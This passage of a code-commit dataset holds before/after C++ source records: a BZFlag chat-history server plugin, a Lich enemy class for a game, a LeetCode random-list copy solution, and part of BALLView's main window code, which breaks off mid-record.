(!useQuotes){\n\tcurrentToken << char(currentChar);\n      } else {\n\n\tswitch (currentChar){\n\t  case '\\\\' : \/\/ found a backslash\n\t    if (foundSlash){\n\t      currentToken << char(currentChar);\n\t      foundSlash = false;\n\t    } else {\n\t      foundSlash = true;\n\t    }\n\t    break;\n\t  case '\\\"' : \/\/ found a quote\n\t    if (foundSlash){ \/\/ found \\\"\n\t      currentToken << char(currentChar);\n\t      foundSlash = false;\n\t    } else { \/\/ found unescaped \"\n\t      if (inQuote){ \/\/ exiting a quote\n\t\t\/\/ finish off current token\n\t\ttokenDone = true;\n\t\tinQuote = false;\n\t\t\/\/slurp off one additional delimeter if possible\n\t\tif (pos+1 < in.size() &&\n\t\t    delims.find(in[pos+1]) != std::string::npos) {\n\t\t  pos++;\n\t\t}\n\n\t      } else { \/\/ entering a quote\n\t\t\/\/ finish off current token\n\t\ttokenDone = true;\n\t\tinQuote = true;\n\t      }\n\t    }\n\t    break;\n\t  default:\n\t    if (foundSlash){ \/\/ don't care about slashes except for above cases\n\t      currentToken << '\\\\';\n\t      foundSlash = false;\n\t    }\n\t    currentToken << char(currentChar);\n\t    break;\n\t}\n      }\n\n      pos++;\n      currentChar = (pos < in.size()) ? in[pos] : -1;\n    } \/\/ end of getting a Token\n\n    if (currentToken.str().size() > 0){ \/\/ if the token is something add to list\n      tokens.push_back(currentToken.str());\n      currentToken.str(\"\");\n      numTokens ++;\n    }\n\n    enoughTokens = (maxTokens && (numTokens >= (maxTokens-1)));\n    if (enoughTokens){\n      break;\n    } else{\n      pos = in.find_first_not_of(delims,pos);\n    }\n\n  } \/\/ end of getting all tokens -- either EOL or max tokens reached\n\n  if (enoughTokens && pos != std::string::npos) {\n    std::string lastToken = in.substr(pos);\n    if (lastToken.size() > 0)\n      tokens.push_back(lastToken);\n  }\n\n  return tokens;\n}\n\nBZ_GET_PLUGIN_VERSION\n\nclass LastChatCommand : public bz_CustomSlashCommandHandler\n{\npublic:\n  virtual ~LastChatCommand(){};\n  virtual bool handle ( int playerID, bz_ApiString command, bz_ApiString message, bz_APIStringList *param );\n};\n\nLastChatCommand lastChatCommand;\n\n\/\/ event handler callback\nclass ChatEvents : public bz_EventHandler\n{\npublic:\n  virtual ~ChatEvents(){};\n  virtual void process ( bz_EventData *eventData );\n};\n\nChatEvents chatEvents;\n\ntypedef std::vector<std::string>\ttvChatHistory;\n\nstd::map<std::string,tvChatHistory>\tchatHistories;\n\nunsigned int\t\tmaxChatLines;\n\nBZF_PLUGIN_CALL int bz_Load ( const char* commandLine )\n{\n  bz_debugMessage(4,\"ChatEvents plugin loaded\");\n\n  maxChatLines = 1000;\n  if (commandLine)\n  {\n    int realLines = atoi(commandLine);\n    maxChatLines  = realLines;\n  }\n\n  bz_registerCustomSlashCommand(\"last\",&lastChatCommand);\n  bz_registerCustomSlashCommand(\"flushchat\",&lastChatCommand);\n\n  bz_registerEvent(bz_eRawChatMessageEvent,&chatEvents);\n\n  return 0;\n}\n\nBZF_PLUGIN_CALL int bz_Unload ( void )\n{\n  bz_removeCustomSlashCommand(\"last\");\n  bz_removeCustomSlashCommand(\"flushchat\");\n\n  bz_removeEvent(bz_eRawChatMessageEvent,&chatEvents);\n\n  bz_debugMessage(4,\"ChatEvents plugin unloaded\");\n  return 0;\n}\n\n\nbool LastChatCommand::handle ( int playerID, bz_ApiString _command, bz_ApiString _message, bz_APIStringList * \/*_param*\/ )\n{\n  std::string command = _command.c_str();\n  std::string message = _message.c_str();\n\n\n  bz_BasePlayerRecord *fromPlayer = bz_getPlayerByIndex(playerID);\n\n  if ( !fromPlayer->admin )\n  {\n    bz_sendTextMessage(BZ_SERVER,playerID,\"You must be admin to use the ChatHistory plugin\");\n    return true;\n  }\n\n  if ( command == \"list\")\n  {\n    std::vector<std::string> params = tokenize(message,std::string(\" \"),0,true);\n    if ( params.size() <2)\n    {\n      bz_sendTextMessage(BZ_SERVER,playerID,\"Usage: \/last <NUMBER OF LINES> <CALLSIGN>\");\n      return true;\n    }\n\n    unsigned int numLines = (unsigned int)atoi(params[0].c_str());\n    if ( numLines == 0 )\n      numLines = 5;\n\n\tstd::string callsign = params[1];\n    std::map<std::string,tvChatHistory>::iterator itr = chatHistories.find(tolower(callsign));\n\n    if ( itr == chatHistories.end() || !itr->second.size())\n    {\n      bz_sendTextMessage(BZ_SERVER,playerID,\"That player has no chat history.\");\n      return true;\n    }\n\n    tvChatHistory &history = itr->second;\n\n    if ( history.size() < numLines )\n      numLines = (unsigned int )history.size();\n\n    bz_sendTextMessage(BZ_SERVER,playerID,format(\"Last %d message for %s\",numLines,callsign.c_str()).c_str());\n\n    for ( unsigned int i = 0; i < numLines-1; i++ )\n    {\n      std::string chatItem = history[history.size()-i];\n      bz_sendTextMessage(BZ_SERVER,playerID,format(\"%d<%s> %s\",i,callsign.c_str(),chatItem.c_str()).c_str());\n    }\n\n    return true;\n  }\n\n  if ( command == \"flushchat\")\n  {\n    chatHistories.clear();\n    bz_sendTextMessage(BZ_SERVER,playerID,\"Chat History has been flushed\");\n    return true;\n  }\n\n  return false;\n}\n\nvoid ChatEvents::process ( bz_EventData *eventData )\n{\n  bz_ChatEventData_V1\t*chatEventData = (bz_ChatEventData_V1*)eventData;\n\n  bz_BasePlayerRecord *fromPlayer = bz_getPlayerByIndex(chatEventData->from);\n\n  std::string message = chatEventData->message.c_str();\n\n  std::string callsign = fromPlayer->callsign.c_str();\n  callsign = tolower(callsign);\n\n  switch( eventData->eventType)\n  {\n  default:\n    break;\n\n  case bz_eRawChatMessageEvent:\n    std::map<std::string,tvChatHistory>::iterator itr = chatHistories.find(callsign);\n    if (itr == chatHistories.end())\n    {\n      tvChatHistory h;\n      chatHistories[callsign] = h;\n    }\n\n    tvChatHistory &history = chatHistories[callsign];\n\n    history.push_back(message);\n    if (history.size() > maxChatLines)\n      history.erase(history.begin());\n    break;\n\n  }\n\n  bz_freePlayerRecord(fromPlayer);\n\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/..\/include\/EnemyTypes\/Lich.h\"\n\nLich::Lich() {\n\tname = \"Lich\";\n\tExperienceAmount = 100;\n\tCoinsDrop = 50 + rand() % 100;\n}\n\nEnemyType Lich::GetType() {\n    return etLich;\n}\n\nint Lich::ReturnDamage() {\n\treturn 5 + rand() % 20;\n}\n\nint Lich::ReturnRiskAttackDamage() {\n\tint selector = rand() % 6;\n\tswitch (selector) {\n\tcase 0: case 1: case 2: case 3:\n\t\treturn 2;\n\t\tbreak;\n\tcase 4: case 5:\n\t\treturn 30;\n\t\tbreak;\n\tdefault:\n\t\treturn 0;\n\t\tbreak;\n\t}\n}\n\nint Lich::ReturnHealAmount() {\n\treturn 5 + rand() % 25;\n}\n<commit_msg>Added introduction for Lich<commit_after>#include \"..\/..\/include\/EnemyTypes\/Lich.h\"\n\nLich::Lich() {\n\tname = \"Lich\";\n\tExperienceAmount = 100;\n\tCoinsDrop = 50 + rand() % 100;\n}\n\nEnemyType Lich::GetType() {\n    return etLich;\n}\n\nint Lich::ReturnDamage() {\n\treturn 5 + rand() % 20;\n}\n\nint Lich::ReturnRiskAttackDamage() {\n\tint selector = rand() % 6;\n\tswitch (selector) {\n\tcase 0: case 1: case 2: case 3:\n\t\treturn 2;\n\t\tbreak;\n\tcase 4: case 5:\n\t\treturn 30;\n\t\tbreak;\n\tdefault:\n\t\treturn 0;\n\t\tbreak;\n\t}\n}\n\nint Lich::ReturnHealAmount() {\n\treturn 5 + rand() % 25;\n}<|endoftext|>"}
{"text":"<commit_before>class Solution {\n    public:\n        RandomListNode *copyRandomList(RandomListNode *head) {\n            if(head == NULL) return NULL;\n            RandomListNode *headNew = NULL, *curNew = headNew, *curOriginal = head, *rand = head->random;\n            while(curOriginal != NULL){\n                if(headNew == NULL){\n                    headNew = new RandomListNode(curOriginal->label);\n                    curNew = headNew;\n                }\n                else{\n                    curNew->next = new RandomListNode(curOriginal->label);\n                    curNew = curNew->next;\n                }\n                curOriginal = curOriginal->next;\n            }\n            curOriginal = head; curNew = headNew;\n            while(curOriginal != NULL && curNew != NULL){\n                RandomListNode *cur1 = head, *cur2 = headNew;\n                if(curOriginal->random == NULL) curNew->random = NULL;\n                else{\n                    while(cur1 != curOriginal->random){\n                        cur1 = cur1->next;\n                        cur2 = cur2->next;\n                    }\n                    curNew->random = cur2;\n                }\n                curOriginal = curOriginal->next;\n                curNew = curNew->next;\n            }\n            return headNew;\n        }\n};\n<commit_msg>solved by unordered_map, O(n) time and O(n) space<commit_after>class Solution {\n    public:\n        RandomListNode *copyRandomList(RandomListNode *head) {\n            if(head == NULL) return NULL;\n            RandomListNode *headNew = NULL, *curNew = headNew, *curOriginal = head;\n            unordered_map<RandomListNode*, RandomListNode*> mapping;\n            while(curOriginal != NULL){\n                if(headNew == NULL){\n                    headNew = new RandomListNode(curOriginal->label);\n                    curNew = headNew;\n                }\n                else{\n                    curNew->next = new RandomListNode(curOriginal->label);\n                    curNew = curNew->next;\n                }\n                mapping[curOriginal] = curNew;\n                curOriginal = curOriginal->next;\n            }\n            curOriginal = head; curNew = headNew;\n            mapping[NULL] = NULL;\n            while(curOriginal != NULL && curNew != NULL){\n                curNew->random = mapping[curOriginal->random];\n                curOriginal = curOriginal->next;\n                curNew = curNew->next;\n            }\n            return headNew;\n        }\n\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: mainframe.C,v 1.62.8.6 2007\/06\/12 05:42:24 oliver Exp $\n\/\/\n\n#include \"mainframe.h\"\n#include \"icons.h\"\n#include \"demoTutorialDialog.h\"\n\n#include <BALL\/VIEW\/RENDERING\/POVRenderer.h>\n#include <BALL\/VIEW\/RENDERING\/VRMLRenderer.h>\n#include <BALL\/VIEW\/WIDGETS\/molecularStructure.h>\n#include <BALL\/VIEW\/WIDGETS\/molecularControl.h>\n#include <BALL\/VIEW\/WIDGETS\/geometricControl.h>\n#include <BALL\/VIEW\/WIDGETS\/logView.h>\n#include <BALL\/VIEW\/WIDGETS\/helpViewer.h>\n#include <BALL\/VIEW\/WIDGETS\/datasetControl.h>\n#include <BALL\/VIEW\/WIDGETS\/editableScene.h>\n#include <BALL\/VIEW\/WIDGETS\/fileObserver.h>\n#include <BALL\/VIEW\/WIDGETS\/testFramework.h>\n#include <BALL\/VIEW\/DIALOGS\/pubchemDialog.h>\n#include <BALL\/VIEW\/DIALOGS\/downloadPDBFile.h>\n#include <BALL\/VIEW\/DIALOGS\/labelDialog.h>\n#include <BALL\/VIEW\/DIALOGS\/displayProperties.h>\n#include <BALL\/VIEW\/DIALOGS\/molecularFileDialog.h>\n#include <BALL\/VIEW\/DATATYPE\/standardDatasets.h>\n#ifdef BALL_PYTHON_SUPPORT\n#\tinclude <BALL\/VIEW\/WIDGETS\/pyWidget.h>\n#endif\n\n#include <BALL\/SYSTEM\/path.h>\n#include <BALL\/KERNEL\/forEach.h>\n#include <BALL\/COMMON\/version.h>\n\n#include <QtGui\/QKeyEvent>\n#include <QtGui\/QTreeWidget>\n\n#include <BALL\/CONCEPT\/moleculeObjectCreator.h>\n#ifdef BALL_HAS_ASIO\n#include <BALL\/VIEW\/KERNEL\/serverWidget.h>\n#endif\n\n#ifdef BALL_COMPILER_MSVC\n# include \"ui_aboutDialog.h\"\n#else\n# include \"aboutDialog.h\"\n#endif\n\n\/\/ NOTE: this does not yet work correctly on windows\n#ifndef BALL_COMPILER_MSVC\n#include <BALL\/VIEW\/DIALOGS\/pluginDialog.h>\n#endif\n\nusing namespace std;\n\/\/#define BALL_VIEW_DEBUG\n\nnamespace BALL\n{\n\tusing namespace std;\n\tusing namespace BALL::VIEW;\n\n\tMainframe::Mainframe(QWidget* parent, const char* name)\n\t\t:\tMainControl(parent, name, \".BALLView\"),\n\t\t\tscene_(0)\n\t{\n\t\t#ifdef BALL_VIEW_DEBUG\n\t\tLog.error() << \"new Mainframe \" << this << std::endl;\n\t\t#endif\n\n\t\t\/\/ ---------------------\n\t\t\/\/ setup main window\n\t\t\/\/ ---------------------\n\t\tsetWindowTitle(\"BALLView\");\n\t\tsetWindowIcon(QPixmap(bucky_64x64_xpm));\n\t\t\/\/ make sure submenus are the first \n\t\tinitPopupMenu(FILE_OPEN);\n\t\tinitPopupMenu(EDIT);\n\t\tinitPopupMenu(BUILD);\n\t\tinitPopupMenu(DISPLAY);\n\t\tinitPopupMenu(MOLECULARMECHANICS);\n\t\tinitPopupMenu(TOOLS);\n\t#ifdef BALL_PYTHON_SUPPORT\n\t\tinitPopupMenu(TOOLS_PYTHON);\n\t\tinitPopupMenu(MainControl::USER);\n\t#endif\n\t\tinitPopupMenu(WINDOWS);\n\t\tinitPopupMenu(MACRO);\n\n\t\t\/\/ ---------------------\n\t\t\/\/ Logstream setup -----\n\t\t\/\/ ---------------------\n\/\/   \t\tLog.remove(std::cout);\n\/\/   \t\tLog.remove(std::cerr);\n\t\tsetLoggingFilename(\"BALLView.log\");\n\t\t\n\t\t\/\/ Display Menu\n\t\tString description = \"Shortcut|Display|Toggle_Fullscreen\";\n\t\tinsertMenuEntry(MainControl::DISPLAY, \"Toggle Fullscreen\", this, \n\t\t\t\t\t\t\t\t\t\tSLOT(toggleFullScreen()), description,\n\t\t\t\t\t\t\t\t\t\tQKeySequence(tr(\"Alt+X\", description.c_str())));\n\n\t\tinsertPopupMenuSeparator(DISPLAY);\n\t\tinitPopupMenu(DISPLAY_VIEWPOINT);\n\n\t\tnew MolecularFileDialog(this, \"MolecularFileDialog\");\n\t\tnew DownloadPDBFile(\t\tthis, \"DownloadPDBFile\", false);\n\t\tnew PubChemDialog(this, \"PubChemDialog\");\n#ifndef BALL_COMPILER_MSVC\n\t\tnew PluginDialog(this, \"PluginDialog\");\n#endif\n \t\taddDockWidget(Qt::LeftDockWidgetArea, new MolecularControl(this, \"Structures\"));\n\t\taddDockWidget(Qt::LeftDockWidgetArea, new GeometricControl(this, \"Representations\"));\n\t\taddDockWidget(Qt::TopDockWidgetArea,  new DatasetControl(this, \"Datasets\"));\n\t\tDatasetControl* dc = DatasetControl::getInstance(0);\n\t\tdc->registerController(new RegularData3DController());\n\t\tdc->registerController(new TrajectoryController());\n\t\tdc->registerController(new VectorGridController());\n\t\tdc->registerController(new DockResultController());\n\t\tdc->registerController(new RaytraceableGridController());\n\t\t\n\t\tDatasetControl::getInstance(0)->hide();\n\n\t\tnew DemoTutorialDialog(this, \"BALLViewDemo\");\n\n\t\tHelpViewer* BALL_docu = new HelpViewer(this, \"BALL Docu\");\n\t\taddDockWidget(Qt::BottomDockWidgetArea, BALL_docu);\n\t\tString dirp = getDataPath() + \"..\" + FileSystem::PATH_SEPARATOR + \"doc\" + \n\t\t\t\t\t\t\t\t\tFileSystem::PATH_SEPARATOR + \"BALL\" + FileSystem::PATH_SEPARATOR;\n\t\tBALL_docu->setBaseDirectory(dirp);\n\t\tBALL_docu->setWhatsThisEnabled(false);\n\t\tBALL_docu->setProject(\"BALL\");\n\t\tBALL_docu->setDefaultPage(\"index.html\");\n\n\t\taddDockWidget(Qt::BottomDockWidgetArea, new HelpViewer(this, \"BALLView Docu\"));\n\n\t\tnew LabelDialog(\t\t\t\tthis, \"LabelDialog\");\n\t\tnew MolecularStructure(\tthis, \"MolecularStructure\");\n \t\taddDockWidget(Qt::BottomDockWidgetArea, new LogView(this, \"Logs\"));\n\t\taddDockWidget(Qt::BottomDockWidgetArea, new FileObserver(  this, \"FileObserver\"));\n\n\t\tScene::stereoBufferSupportTest();\n\t\tscene_ = new EditableScene(this, \"3D View\");\n\t\tsetCentralWidget(scene_);\n\t\tsetAcceptDrops(true);\n\n\t\tnew DisplayProperties(\tthis, \"DisplayProperties\");\n\n\t\t\/\/ setup the VIEW server\n\t\t#ifdef BALL_HAS_ASIO\n\t\t\tServerWidget* server = new ServerWidget(this);\n\t\t\/\/ registering object generator\n\t\tMoleculeObjectCreator* object_creator = new MoleculeObjectCreator;\n\t\tserver->registerObjectCreator(*object_creator);\n\t\t#endif\n\n\t\tnew TestFramework(this, \"Test Framework\");\n\n\t\t#ifdef BALL_PYTHON_SUPPORT\n\t\t\taddDockWidget(Qt::BottomDockWidgetArea, new PyWidget(this, \"Python Interpreter\"));\n\t\t#endif\n\n\t\t\/\/ ---------------------\n\t\t\/\/ Menus ---------------\n\t\t\/\/ ---------------------\n\n\t\tdescription = \"Shortcut|File|Open|Project\";\n\t\tinsertMenuEntry(MainControl::FILE_OPEN, \"Project\", this, \n\t\t\t\t\t\t\t\t\t\tSLOT(loadBALLViewProjectFile()), description);\n\t\t\n\t\tdescription = \"Shortcut|File|Save_Project\";\n\t\tsave_project_action_ = insertMenuEntry(MainControl::FILE, \"Save Project\", this, \n\t\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t\t\t SLOT(saveBALLViewProjectFile()), description);\n\n\t\t\t\/\/ Help-Menu -------------------------------------------------------------------\n\t\tQAction* action = 0;\n\n\t\tdescription = \"Shortcut|Help|About\";\n\t\taction = insertMenuEntry(MainControl::HELP, \"About\", this, SLOT(about()), description);\n\t\tsetMenuHint(action, \"Show informations on this version of BALLView\");\n\n\t\tdescription = \"Shortcut|Help|How_to_cite\";\n\t\taction = insertMenuEntry(MainControl::HELP, \"How to cite\", this, SLOT(howToCite()), description);\n\t\tsetMenuHint(action, \"Show infos on how to cite BALL and BALLView\");\n\n\t\t\/\/ TODO: why is this done here and not, e.g., in mainControl()???\n\t\tdescription = \"Shortcut|MolecularMechanics|Abort_Calculation\";\n\t\tstop_simulation_action_ = insertMenuEntry(MainControl::MOLECULARMECHANICS, \"Abort Calculation\", this, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSLOT(stopSimulation()), description,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tQKeySequence(tr(\"Alt+C\", description.c_str())));\n\t\tstop_simulation_action_->setEnabled(false);\n\t\tinsertPopupMenuSeparator(MainControl::MOLECULARMECHANICS);\n\t\tsetMenuHint(stop_simulation_action_, \"Abort a running simulation\");\n\t\tPath path;\n\t\tString filename = path.find(\"graphics\/stop.png\");\n\t\tstop_simulation_action_->setIcon(QIcon(filename.c_str()));\n\t\t\n\t\tdescription = \"Shortcut|Edit|Toggle_Selection\";\n\t\tcomplement_selection_action_ = insertMenuEntry(MainControl::EDIT, \"Toggle Selection\", this, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t SLOT(complementSelection()), description);\n\n \t\tqApp->installEventFilter(this);\n\n\t\tsetStatusbarText(\"Ready.\");\n\t}\n\n\tMainframe::~Mainframe()\n\t{\n\t}\n\n\n\tbool Mainframe::eventFilter(QObject* sender, QEvent* event) \n\t{\n\t\tif (event->type() != QEvent::KeyPress) return false;\n\n\t\tQKeyEvent* e = dynamic_cast<QKeyEvent*>(event);\n\n\t\tif (e->key() == Qt::Key_Escape &&\n\t\t\t\tHelpViewer::getInstance(1)->isWhatsThisEnabled())\n\t\t{\n\t\t\tHelpViewer::getInstance(1)->exitWhatsThisMode();\n\t\t}\n\n\t\tQPoint point = QCursor::pos();\n\t\tQWidget* widget = qApp->widgetAt(point);\n\t\tif (widget == scene_ &&\n \t\t\t\tqApp->focusWidget() != scene_)\n\t\t{\n \t\t\tscene_->keyPressEvent(e);\n\t\t\treturn true;\n\t\t}\n\n \t\tif (e->key() == Qt::Key_Delete &&\n\t\t\t\tRTTI::isKindOf<QTreeWidget>(*sender))\n \t\t{\n \t\t\tdeleteClicked();\n\t\t\treturn true;\n \t\t}\n\n\t\tif (e->key() == Qt::Key_Enter) \n\t\t{\n\t\t\tif (composite_manager_.getNumberOfComposites() == 0) return false;\n\n\t\t\tif (getMolecularControlSelection().size() == 0)\n\t\t\t{\n\t\t\t\tcontrol_selection_.push_back(*composite_manager_.begin());\n\t\t\t}\n\t\t\t\t\n\t\t\tMolecularStructure::getInstance(0)->centerCamera();\n\t\t\treturn true;\n\t\t}\n\n\t\t\/\/ check all menu entries if Alt or CTRL is pressed to enable shortcuts\n\t\tif (e->key() == Qt::Key_Alt ||\n\t\t\t\te->key() == Qt::Key_Control)\t\t\t\t\n\t\t{\n\t\t\tcheckMenus();\n\t\t\treturn false;\n\t\t}\n\n\t\t#ifdef BALL_PYTHON_SUPPORT\n \t\t\tPyWidget::getInstance(0)->reactTo(*e);\n\t\t\te->accept();\n\t\t#endif\n\n\t\treturn false;\n\t}\n\n\t\n\tvoid Mainframe::reset()\n\t{\n\t\tif (composites_locked_ || getRepresentationManager().updateRunning()) return;\n\n\t\tclearData();\n\n\t\tDisplayProperties* dp = DisplayProperties::getInstance(0);\n\t\tdp->setDrawingPrecision(DRAWING_PRECISION_HIGH);\n\t\tdp->selectModel(MODEL_STICK);\n\t\tdp->selectColoringMethod(COLORING_ELEMENT);\n\t\tdp->selectMode(DRAWING_MODE_SOLID);\n\t\tdp->setTransparency(0);\n\t\tdp->setSurfaceDrawingPrecision(6.5);\n\t}\n\n\t\n\tvoid Mainframe::howToCite()\n\t{\n\t\tHelpViewer::getInstance(1)->showHelp(\"tips.html\", \"cite\");\n\t}\n\n\tvoid Mainframe::show()\n\t{\n\t\t\/\/ prevent multiple inserting of menu entries, by calls of showFullScreen(), ...\n\t\tif (preferences_action_ != 0) \n\t\t{\n\t\t\tMainControl::show();\n\t\t\treturn;\n\t\t}\n\n\n\t\tQToolBar* tb = new QToolBar(\"Main Toolbar\", this);\n\t\ttb->setObjectName(\"Main Toolbar\");\n\t\ttb->setIconSize(QSize(23,23));\n\t\ttb->layout()->setMargin(2);\n\t\ttb->layout()->setSpacing(2);\n\t\taddToolBar(Qt::TopToolBarArea, tb);\n\t\t\n\t\tMainControl::show();\n\n\t\tinitPopupMenu(MainControl::WINDOWS)->addSeparator();\n\t\tinitPopupMenu(MainControl::WINDOWS)->addAction(tb->toggleViewAction());\n\t\tMolecularFileDialog::getInstance(0)->addToolBarEntries(tb);\n\t\tDownloadPDBFile::getInstance(0)->addToolBarEntries(tb);\n\t\tPubChemDialog::getInstance(0)->addToolBarEntries(tb);\n\t\tPath path;\n\t\t\n\t\tQIcon load_icon(path.find(\"graphics\/quickload.png\").c_str());\n\t\tqload_action_ = new QAction(load_icon, \"quickload\", this);\n\t\tqload_action_->setObjectName(\"quickload\");\n\t\tconnect(qload_action_, SIGNAL(triggered()), this, SLOT(quickLoadConfirm()));\n\t\tHelpViewer::getInstance(1)->registerForHelpSystem(qload_action_, \"tips.html#quickload\");\n\t\ttb->addAction(qload_action_);\n\n\t\tQIcon save_icon(path.find(\"graphics\/quicksave.png\").c_str());\n\t\tqsave_action_ = new QAction(save_icon, \"quicksave\", this);\n\t\tqsave_action_->setObjectName(\"quicksave\");\n\t\tconnect(qsave_action_, SIGNAL(triggered()), this, SLOT(quickSave()));\n\t\tHelpViewer::getInstance(1)->registerForHelpSystem(qsave_action_, \"tips.html#quickload\");\n\t\ttb->addAction(qsave_action_);\n\n\t\ttb->addSeparator();\n\t\tDisplayProperties::getInstance(0)->addToolBarEntries(tb);\n\t\tMolecularStructure::getInstance(0)->addToolBarEntries(tb);\n\t\tscene_->addToolBarEntries(tb);\n\t\ttb->addAction(stop_simulation_action_);\n\t\ttb->addAction(preferences_action_);\n\t\tHelpViewer::getInstance(1)->addToolBarEntries(tb);\n\n\t\t\/\/ we have changed the child widgets stored in the maincontrol (e.g. toolbars), so we have\n\t\t\/\/ to restore the window state again!\n\t\trestoreWindows();\n\n\t\t\/\/ finally, apply all values our modular widgets have fetched from their preferences\n\t\tapplyPreferences();\n\t}\n\n\tvoid Mainframe::about()\n\t{\n\t\tLog.info() << sizeof(Mainframe) <<std::endl;\n\t\t\/\/ Display about dialog\n\t\tQDialog w;\n \t\tUi_AboutDialog about;\n\t\tabout.setupUi(&w);\n\t\tQString version = QString(\"QT \") + qVersion();\n#ifdef BALL_QT_HAS_THREADS\n\t\tversion += \"(mt)\";\n#endif\n\t\tabout.qt_version_label->setText(version);\n\t\tQFont font = about.BALLView_version_label->font();\n\t\tabout.BALLView_version_label->setText(QString(\"BALLView \") + BALL_RELEASE_STRING);\n\t\tfont.setPixelSize(18);\n\t\tabout.BALLView_version_label->setFont(font);\n\t\tabout.BALL_version_label->setText(__DATE__);\n\t\tw.exec(); \n\t}\n\n}\n<commit_msg>Remove a stupid debug output that has sneaked in lately.<commit_after>\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: mainframe.C,v 1.62.8.6 2007\/06\/12 05:42:24 oliver Exp $\n\/\/\n\n#include \"mainframe.h\"\n#include \"icons.h\"\n#include \"demoTutorialDialog.h\"\n\n#include <BALL\/VIEW\/RENDERING\/POVRenderer.h>\n#include <BALL\/VIEW\/RENDERING\/VRMLRenderer.h>\n#include <BALL\/VIEW\/WIDGETS\/molecularStructure.h>\n#include <BALL\/VIEW\/WIDGETS\/molecularControl.h>\n#include <BALL\/VIEW\/WIDGETS\/geometricControl.h>\n#include <BALL\/VIEW\/WIDGETS\/logView.h>\n#include <BALL\/VIEW\/WIDGETS\/helpViewer.h>\n#include <BALL\/VIEW\/WIDGETS\/datasetControl.h>\n#include <BALL\/VIEW\/WIDGETS\/editableScene.h>\n#include <BALL\/VIEW\/WIDGETS\/fileObserver.h>\n#include <BALL\/VIEW\/WIDGETS\/testFramework.h>\n#include <BALL\/VIEW\/DIALOGS\/pubchemDialog.h>\n#include <BALL\/VIEW\/DIALOGS\/downloadPDBFile.h>\n#include <BALL\/VIEW\/DIALOGS\/labelDialog.h>\n#include <BALL\/VIEW\/DIALOGS\/displayProperties.h>\n#include <BALL\/VIEW\/DIALOGS\/molecularFileDialog.h>\n#include <BALL\/VIEW\/DATATYPE\/standardDatasets.h>\n#ifdef BALL_PYTHON_SUPPORT\n#\tinclude <BALL\/VIEW\/WIDGETS\/pyWidget.h>\n#endif\n\n#include <BALL\/SYSTEM\/path.h>\n#include <BALL\/KERNEL\/forEach.h>\n#include <BALL\/COMMON\/version.h>\n\n#include <QtGui\/QKeyEvent>\n#include <QtGui\/QTreeWidget>\n\n#include <BALL\/CONCEPT\/moleculeObjectCreator.h>\n#ifdef BALL_HAS_ASIO\n#include <BALL\/VIEW\/KERNEL\/serverWidget.h>\n#endif\n\n#ifdef BALL_COMPILER_MSVC\n# include \"ui_aboutDialog.h\"\n#else\n# include \"aboutDialog.h\"\n#endif\n\n\/\/ NOTE: this does not yet work correctly on windows\n#ifndef BALL_COMPILER_MSVC\n#include <BALL\/VIEW\/DIALOGS\/pluginDialog.h>\n#endif\n\nusing namespace std;\n\/\/#define BALL_VIEW_DEBUG\n\nnamespace BALL\n{\n\tusing namespace std;\n\tusing namespace BALL::VIEW;\n\n\tMainframe::Mainframe(QWidget* parent, const char* name)\n\t\t:\tMainControl(parent, name, \".BALLView\"),\n\t\t\tscene_(0)\n\t{\n\t\t#ifdef BALL_VIEW_DEBUG\n\t\tLog.error() << \"new Mainframe \" << this << std::endl;\n\t\t#endif\n\n\t\t\/\/ ---------------------\n\t\t\/\/ setup main window\n\t\t\/\/ ---------------------\n\t\tsetWindowTitle(\"BALLView\");\n\t\tsetWindowIcon(QPixmap(bucky_64x64_xpm));\n\t\t\/\/ make sure submenus are the first \n\t\tinitPopupMenu(FILE_OPEN);\n\t\tinitPopupMenu(EDIT);\n\t\tinitPopupMenu(BUILD);\n\t\tinitPopupMenu(DISPLAY);\n\t\tinitPopupMenu(MOLECULARMECHANICS);\n\t\tinitPopupMenu(TOOLS);\n\t#ifdef BALL_PYTHON_SUPPORT\n\t\tinitPopupMenu(TOOLS_PYTHON);\n\t\tinitPopupMenu(MainControl::USER);\n\t#endif\n\t\tinitPopupMenu(WINDOWS);\n\t\tinitPopupMenu(MACRO);\n\n\t\t\/\/ ---------------------\n\t\t\/\/ Logstream setup -----\n\t\t\/\/ ---------------------\n\/\/   \t\tLog.remove(std::cout);\n\/\/   \t\tLog.remove(std::cerr);\n\t\tsetLoggingFilename(\"BALLView.log\");\n\t\t\n\t\t\/\/ Display Menu\n\t\tString description = \"Shortcut|Display|Toggle_Fullscreen\";\n\t\tinsertMenuEntry(MainControl::DISPLAY, \"Toggle Fullscreen\", this, \n\t\t\t\t\t\t\t\t\t\tSLOT(toggleFullScreen()), description,\n\t\t\t\t\t\t\t\t\t\tQKeySequence(tr(\"Alt+X\", description.c_str())));\n\n\t\tinsertPopupMenuSeparator(DISPLAY);\n\t\tinitPopupMenu(DISPLAY_VIEWPOINT);\n\n\t\tnew MolecularFileDialog(this, \"MolecularFileDialog\");\n\t\tnew DownloadPDBFile(\t\tthis, \"DownloadPDBFile\", false);\n\t\tnew PubChemDialog(this, \"PubChemDialog\");\n#ifndef BALL_COMPILER_MSVC\n\t\tnew PluginDialog(this, \"PluginDialog\");\n#endif\n \t\taddDockWidget(Qt::LeftDockWidgetArea, new MolecularControl(this, \"Structures\"));\n\t\taddDockWidget(Qt::LeftDockWidgetArea, new GeometricControl(this, \"Representations\"));\n\t\taddDockWidget(Qt::TopDockWidgetArea,  new DatasetControl(this, \"Datasets\"));\n\t\tDatasetControl* dc = DatasetControl::getInstance(0);\n\t\tdc->registerController(new RegularData3DController());\n\t\tdc->registerController(new TrajectoryController());\n\t\tdc->registerController(new VectorGridController());\n\t\tdc->registerController(new DockResultController());\n\t\tdc->registerController(new RaytraceableGridController());\n\t\t\n\t\tDatasetControl::getInstance(0)->hide();\n\n\t\tnew DemoTutorialDialog(this, 